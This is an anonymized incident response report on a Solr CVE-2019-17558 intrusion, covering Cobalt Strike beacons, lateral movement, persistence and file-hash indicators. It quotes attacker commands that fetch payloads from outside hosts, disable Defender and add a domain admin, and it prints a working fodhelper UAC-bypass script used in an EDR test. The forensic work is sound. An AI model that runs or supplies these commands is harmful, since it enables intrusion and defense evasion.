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Executive Summary

Introduction

CSIS  was  contacted  Wednesday  12th of

October 2022 at  around 15.00 UTC by a

company as they had been victim to a cyber

incident.

After the company had debriefed CSIS about

the  situation,  it  was  decided  that  CSIS

should  assist  with  the  Incident  Response

investigation and was given following tasks:

Take lead on the Incident Response

Conduct an in-depth investigation and

root course analysis

Provide security recommendations

This  analysis  has  been  anonymized  which

means  IP  addresses,  domain  names,

usernames, etc. have been changed.

Executive Summary

Using different hacker techniques, malware,

and  tools  the  perpetrator(s)  obtained

domain  administrator  (user:  ADMIN1)

privileges  and  compromised  at  least  five

different servers

HOST1

HOST2 

HOST3

HOST4

HOST5

Attack start

The initial compromise occurred on the DAY

1.

First unauthorized logins

The  first  sign  of  malicious  activity  was

observed at DAY 1 (+1H).

Initial access vector

The  perpetrator(s)  gained  initial  access  to

the  network  via  exploitation  of  the

CVE-2019-17558 vulnerability  using  a

publicly  available  exploit  against  the  Solr

webserver. Solr was installed on three of the

servers (HOST1, HOST2, and HOST3) exposed

directly  to  the  Internet.  After  successful

exploitation  of  this  vulnerability,  the

perpetrator(s)  gained  access  to  the

aforementioned  servers  with  NT

Authority\System privileges.

Data exfiltrated

CSIS did not find any signs of exfiltration of

data.

Attack type

Yes,  this  was  a  targeted  attack,  and  the

motive  seems  to  be  the  ability  to  obtain

persistence in the company network.
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Overview
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ATT&CK Matrix
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Indicators of Compromise (IOCs)

Process Used SHA1 Hash

update.exe 312382290f4f71e7fb7f00449fb529fce3b8ec95

lssasc.exe f1356a1b79579523614076183fe775ec430d5d3d

lapx.exe 4f7ea828d434e7a938c8424ebe02cbc80887faa9

lsaasc.exe 32bae133db74d19998d8d0c12ff71fa04d59bc55

SharpHound.exe 6a33a57f90ed3ee191416f429a102d4afa697532

PVEFindADUser.exe c5513b1a35662dacf6e0066bbbe2ba94e0f812d5

sharpwmi.exe 2c027b5dad943d70518d45cffd2e2c972e03a119

fscan.exe 688215dca74839b17a9fd87c8910b7d783e0c481

iox.exe 4c46d53fd37683f0b434000424f302a679ffc57c

ncx.exe febce5670e08cc9ca360862d784079c3ab10eb7f

0803.exe 15eec63cbf609562ea4dfa1898814bcbc165129b

su.exe fb893bc7542fc5c35ce46e8a5146fb8f47f02049

34b6b2b.exe aea76e173108626d6571c29ac78b521945c62b04

45ffcb4.exe d29504a077b9aa13244d5fb11319a273a3fb6253

servicehoster.exe 37dc301cb0974c049b34f93eaa4dd61aa351514d
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Incident Analysis

The following chapter contains the results from the Incident Response investigation

Timestamp Action

DAY 1
Perpetrator(s) successfully exploited vulnerability CVE-2019-17558 that allows remote code execution and

launched “whoami.exe” on each server.

DAY 1 (+1H) Downloaded Golang executable which contains Cobalt Strike downloader

DAY 1 (+1H) The AV detected the downloaded file and deleted it

DAY 1 (+2H)
Using “fscan.exe” the perpetrator executes a network scan against the subnet and stores the results in a file

“out.txt” to lately do lateral movement.

DAY 1 (+2H) The perpetrator uploads “IOX.exe” that is used to redirect TCP connections.

DAY 1 (+3H) Running BloodHound against the active directory through the previously established proxy.

DAY 21 The perpetrator managed to start the process “lssasc.exe” on “HOST1” with “Administrator” privileges.

DAY 21

(+1H)
Using exploit CVE-2019-0803 the perpetrator elevated local privileges to “NT Authority\System”

DAY 21

(+2H)

Cobalt Strike was used to download PVEFindADUser and save as C:

\Windows\System32\PVEFindADUser.exe

DAY 22
Files “su.exe” and “autorun.bat” were copied using the same technique Uses “sharpwmi.exe” and pass-the-

hash to execute commands and “su.exe” for privilege escalation

DAY 23

(+10H)
Create a new service on the server by making changes in the Registry to create persistence.

C S I S  I n c i d e n t  R e s p o n s e  
_ 

7



EDR Bypass

Microsoft Defender for Endpoints Behavior in Apache Solr Exploit

In a recent incident response (IR) case involving Apache Solr, Microsoft Defender for Endpoints

(MDE) detected an Apache Solr exploitation but failed to stop the reverse shell generated by the

HTTP command injection to the Java process handling the Apache Solr service. To better

understand the behavior of MDE in these situations, a test was conducted using Apache Solr

6.6.3 on Windows 10 and Metasploit (solrvelocityrce) on Kali.

The test involved installing Apache Solr with standard settings, and then exploiting Apache Solr

to execute a script that spawned a reverse shell. Upon executing the exploit, a new Java process

(PID 1108) was spawned, followed by a prompt (PID 4220) that created another Java process (PID

4364) and another prompt (PID 5892).

MDE then detected the exploit and attempted to remediate the situation by terminating the

parent process to the prompt, but the child process with the reverse shell remained running.

Setup

The test contained:

Windows 10 Apacke Solr 6.6.3

Kali Metasploit (solrvelocityrce)

First we installed Apache Solr with standard settings

and opened the firewall
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The Exploit

From Metasploit we exploited Apache Solr to execute a script that spawned a reverse shell.
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Microsoft Defender Behavior

Execute of Exploit, spawns a new java process (PID 1108) which spans a prompt (PID 4220)

The prompt (PID 4220) the spawn a new java process (PID 4364) which spawns a new prompt

(PID 5892)

Then MDE reacts on the Meterpreter.B
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Then MDE start terminating Processes

MDE detects the Exploit and tries to remediate by terminate the parent process to the prompt

but leaves the child process with the reverse shell be
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Second Test just to be sure

2 files Pwn.cmd and Pwn.ps1

Proccess

Pwn.cmd execute Pwn.ps1

#UAC Bypass

function FodhelperBypass(){ 

 

Param (    

 

 [String]$program = 'cmd.exe' #default

 

      )

 

#Create registry structure

 

New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -

Force

New-ItemProperty -Path "HKCU:\Software\Classes\ms-

settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force

Set-ItemProperty -Path "HKCU:\Software\Classes\ms-

settings\Shell\Open\command" -Name "(default)" -Value $program -Force

 

#Perform the bypass

Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden

 

#Remove registry structure

Start-Sleep 3

Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force

 

}

FodhelperBypass

Pwn.cmd process tree

6076: cmd.exe (user) 

        1176: conhost.exe (user)  

C S I S  I n c i d e n t  R e s p o n s e  
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        2192: powershell.exe (user)

            5032: fodhelper.exe (administrator) - UAC Evasion Exploit 

 

            6576: fodhelper.exe (administrator) - UAC Evasion Exploit 

 

                448: cmd.exe (system)  

                1676: conhost.exe (system)  
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Example in our framework DTMG

With this CMD script we will show that the child process keeps running after Virus/Threat

detection.

pwn2_1.cmd is a Base64 encrypted payload

When Decrypted it creates a file with the payload Eicar (a test palyoad every protection software

will detect)). 

The playload process 

The detection and termination of the playload process. 

The remained child process. 
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Initial Access (patient-0)

The perpetrator(s) gained initial access to the network via a successful exploitation of the

CVE-2019-17558 vulnerability on three Solr webservers: “HOST1”, “HOST2”, and “HOST3” that

allowed the perpetrator(s) to execute any command on the compromised servers. 

Previous image shows an example of how the perpetrator(s) was able successfully execute the

program “whoami.exe” on the vulnerable webserver “HOST3”.

C S I S  I n c i d e n t  R e s p o n s e  
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The same exploitation was performed from the same IP address on HOST1 and HOST2.

Following is a description of CVE-2019-17558: 
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An exploit for this vulnerability is publicly available on GitHub: 

https://github.com/AleWong/Apache-Solr-RCE-via-Velocity-template/blob/master/

apachesolrexec.py

Further, the source IP-address: used by the perpetrator(s) to exploit Solr servers appears on

AbuseIPDB (https://www.abuseipdb.com/) and VirusTotal (https://virustotal.com):

C S I S  I n c i d e n t  R e s p o n s e  
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The Perpetrator(s) exploited the vulnerability in the Solr server by downloading an executable

file from the URL http://X.X.X.X:1579/lssasc.exe to the webserver HOST3 via

PowerShell and saving it as G:\solr-6.6.3\server\lib\lssasc.exe. 

Once the perpetrator(s) downloaded the file: lssasc.exe, they we able to gain full control of

the webserver HOST3.

C S I S  I n c i d e n t  R e s p o n s e  
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Persistence

The perpetrator(s) used the following Registry keys to set up persistence:

The perpetrator(s) also used this command to create a scheduled task on HOST3: 

C S I S  I n c i d e n t  R e s p o n s e  
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Privilege Escalation

After the successful exploitation of the Solr server, the perpetrator(s) obtained the same

privileges as the the Solr server was running with (NT Authority\System).

As the attack developed, the domain account (ADMIN1) was compromised, which has local

admin privilege for all servers within the domain.

C S I S  I n c i d e n t  R e s p o n s e  
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Lateral Movement

Using the vulnerability CVE-2019-17558 on the three Solr webservers HOST1, HOST2 and 

HOST3, the perpetrator(s) gained access to them and were able to develop the attack further.

Lateral movement and activities on server HOST3

After successful exploitation of the Solr vulnerability (seeInitial Access (patient-0)), the

perpetrator(s) obtained full control of the server HOST3.

Following the exploitation, the perpetrator(s) downloaded the Cobalt Strike beacon using the

following command: 

powershell -c iwr http://X.X.X.X:21579/lssasc.exe -OutFile G:\solr-6.

6.3\server\lib\lssasc.exe

The investigation showed that this Cobalt Strike beacon had successfully downloaded a

backdoor which was both executed as a part of the “lssasc.exe” process and spawned a

“rundll32.exe” process: 

At 2022-XX-XX XX:XX:XX, an additional malicious file was downloaded using the following

command: 

powershell -c iwr http://X.X.X.X:21579/lapx.exe -OutFile G:\solr-6.6.

3\server\lib\lapx.exe

At 2022-XX-XX XX:XX:XX the perpetrator(s) executed the following command to disable

built-in and/or third-party antivirus software on the server: 

cmd.exe /C reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows 

Defender” /v “DisableAntiSpyware” /d 1 /t REG_DWORD  

C S I S  I n c i d e n t  R e s p o n s e  
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Later the perpetrator(s) executed a set of PowerShell commands to disable several components

of Microsoft Defender, hence making proceeding with the attack easier for perpetrator(s): 

The perpetrator(s) obtained persistence on the server by creating the service with a misleading

name (“javaaw” – similar to the default name of the main binary of the Java Runtime) and

modifying the Registry key: HKLM\Software\Microsoft\Windows\CurrentVersion\Run 

Using “fscan” (see Malware and Tools) the perpetrator(s) scanned the local network for

reachable hosts and their open ports. 

The perpetrator(s) uploaded the IOX tool in order to use server HOST3 as a proxy. 

Using the BloodHound tool the perpetrator(s) scanned the local network to map and quantify

possible Active Directory attack paths. 

C S I S  I n c i d e n t  R e s p o n s e  
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The perpetrator(s) modified Windows Registry so that the OS would store plain text credentials

in memory. This way, these credentials could be eventually extracted from the memory and be

used later to develop the attack further. 

At 2022-XX-XX XX:XX:XX lateral movement to “HOST1” started 

Using SharpHound, the perpetrator(s) performed a network scan from “HOST3”. 

At 2022-XX-XX XX:XX:XX lateral movement started to “HOST4”. 

C S I S  I n c i d e n t  R e s p o n s e  
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At 2022-XX-XX XX:XX:XX lateral movement to “HOST5” started. 

At 2022-XX-XX XX:XX:XX the perpetrator(s) downloaded SharpWmi (seeSharpWmi) and

saved it as C:\Windows\Temp\sharpwmi.exe. 

The tool was then used to execute arbitrary commands on “HOST5”.

At 2022-XX-XX XX:XX:XX the perpetrator(s) attempted to create a new user and then add it

to the “Domain Admins” group using the following command: 

cmd.exe /C net user ADMIN1 P@ss123 /add /domain && net group “Domain 

Admins”  ADMIN1 /add /domain

Lateral movement and activities on server “HOST1"

Initially the server was compromised by exploitation of the Solr vulnerability CVE-2019-17558. It

appears that all the files downloaded via PowerShell were detected by Microsoft Defender. 

Later the perpetrator(s) uses the Cobalt Strike beacon, transferred through a network share

from HOST3. It was saved as C:\ProgramData\Oracle\Java\lssasc.exe and then

executed. 

The perpetrator(s) managed to start the process lssasc.exe on HOST1 with HOST1\ADMIN1's

priviliges. 

C S I S  I n c i d e n t  R e s p o n s e  
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By exploitating the vulnerability CVE-2019-0803 the perpetrator(s) elevated local privileges to NT

Authority\System. 

Later on the IOX tool was downloaded to the server. 

Cobalt Strike was used to download PVEFindADUser and save as C:

\Windows\System32\PVEFindADUser.exe at 2022-XX-XX XX:XX:XX and IOX and save

as C:\ProgramData\Oracle\Java\iox.exe at 2022-XX-XX XX:XX:XX. 

The perpetrator copied the file 34b6b2b.exe to HOST1 using network shares. It appears that

the file was detected by antivirus. 

The services.exe process registered a new service (persistence) on the server by making the

following changes in the Registry: 

Registry key: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\34b6b2b 

ImagePath:    \\127.0.0.1\ADMIN$\34b6b2b.exe 

Later on, the files were detected by antivirus:

C S I S  I n c i d e n t  R e s p o n s e  
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Lateral movement and activities on server “HOST2”

Initially the server was compromised at 2022-XX-XX XX:XX:XX by exploitation of the Solr

vulnerability CVE-2019-17558. 

At 2022-XX-XX XX:XX:XX the perpetrator(s) downloaded Cobalt Strike beacon and saved it

as G:\solr-6.6.3\server\update.exe using the following command: 

powershell -c iwr http://0.tcp.ap.ngrok.io:18418/wininit.exe -OutFile 

update.exe

Analysis of the binary showed that it contains a Cobalt Strike beacon which is slightly different

than the other samples. 

C S I S  I n c i d e n t  R e s p o n s e  
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Analysis of the file shows that it connects to “example.com” and uses “www.services-support.tk”

as a Command-and-Control server, which explains the network events seen in the timeline.

Lateral movement and activities on server “HOST4”

Using SMB shares perpetrator managed to copy files “lssasc.exe” and “servicehoster.exe” 

According Microsoft Defenderlogs, both files were detected lately. 

C S I S  I n c i d e n t  R e s p o n s e  
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Later files su.exe and autorun.bat were copied to HOST4 using the same technique. 

     •File autorun.bat was not recovered during the investigation. 

     •File su.exe is the compiled SuperUser tool (see Malware and Tools)

Using the SharpWmi tool (see Malware and Tools), theperpetrator(s) were able to execute

arbitrary commands on HOST4. 

The perpetrator(s) were able to add the folder C:\inetpub\temp to the AV exclusions. 

 The perpetrator(s) were able to execute autorun.bat using the SuperUser tool 

The result of execution is unknown, because file was not recovered.

Lateral movement and activities on server “HOST5”

Using the access to the Windows Admin Shares (SMB shares) perpetrator managed to copy the

Cobalt Strike beacon to HOST5. 

C S I S  I n c i d e n t  R e s p o n s e  
_ 

30



It appears that Microsoft Defender detected the malicious file after it was copied.
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Privilege Escalation

This chapter contains the description of the tools and malware used by the perpetrator(s)

during the attack. 

The main toolkit used by attacker is Cobalt Strike. Definition and the description by Mandiant:

https://www.mandiant.com/resources/blog/defining-cobalt-strike-components 

BEACON is the name for Cobalt Strike’s default malware payload used to create a connection to

the team server. Active callback sessions from a target are also called “beacons”. (This is where

the malware family got its name.) There are two types of BEACON: 

The Stager is an optional BEACON payload. Operators can “stage” their malware by sending an

initial small BEACON shellcode payload that does some basic checks only and then queries the

configured C2 for the full-featured backdoor. 

The Full backdoor can either be executed through a BEACON stager, by a “loader” malware

family, or by directly executing the default DLL export “ReflectiveLoader”. This backdoor runs in

the memory and can establish a connection to the team server through several methods. 

Loaders are not BEACON. BEACON is the backdoor itself and is typically executed with some

other loader, whether it is the staged or full backdoor. Cobalt Strike does come with default

loaders, but operators can also create their own using PowerShell, .NET, C++, GoLang, or

anything else capable of running shellcode. 

Cobal Strike (stager)

C S I S  I n c i d e n t  R e s p o n s e  
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Analysis of the binary lssasc.exe found on HOST3 showed that the binary downloads the

payload from the URL http://X.X.X.X:56231/QlYG and executes it. 
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Cobal Strike (backdoor)
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Binary analysis confirmed that dumped memory section contains the Cobalt Strike beacon

(backdoor). 

Cobalt Strike’s configuration was extracted with Cobalt Strike Parser . 
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SharpHound

PVEFindADUser
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SharpWmi

Fscan
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IOX
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Netcat
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Chronos

CSIS uses a platform called Chronos to triage computers in an incident response. It supports

more than 300 artifacts and is built to extract information in a raw format to preserve the

forensics integrity of evidence, while still providing top of the line performance.

Every company is different, so during the start of the incident, we gather information about the

size and scope of the incident, as well as network speeds, computer configurations, etc. to get a

good idea of how much evidence we can collect without massive disruptions to the company.

Triage Data Statistics from Chronos

93 triage IR collections

69 unique computers

~ 103 billion artifacts

~9.11 GB data transferred

Collection started 2022-XX-XX XX:XX:XX

Collection ended 2022-XX-XX XX:XX:XX
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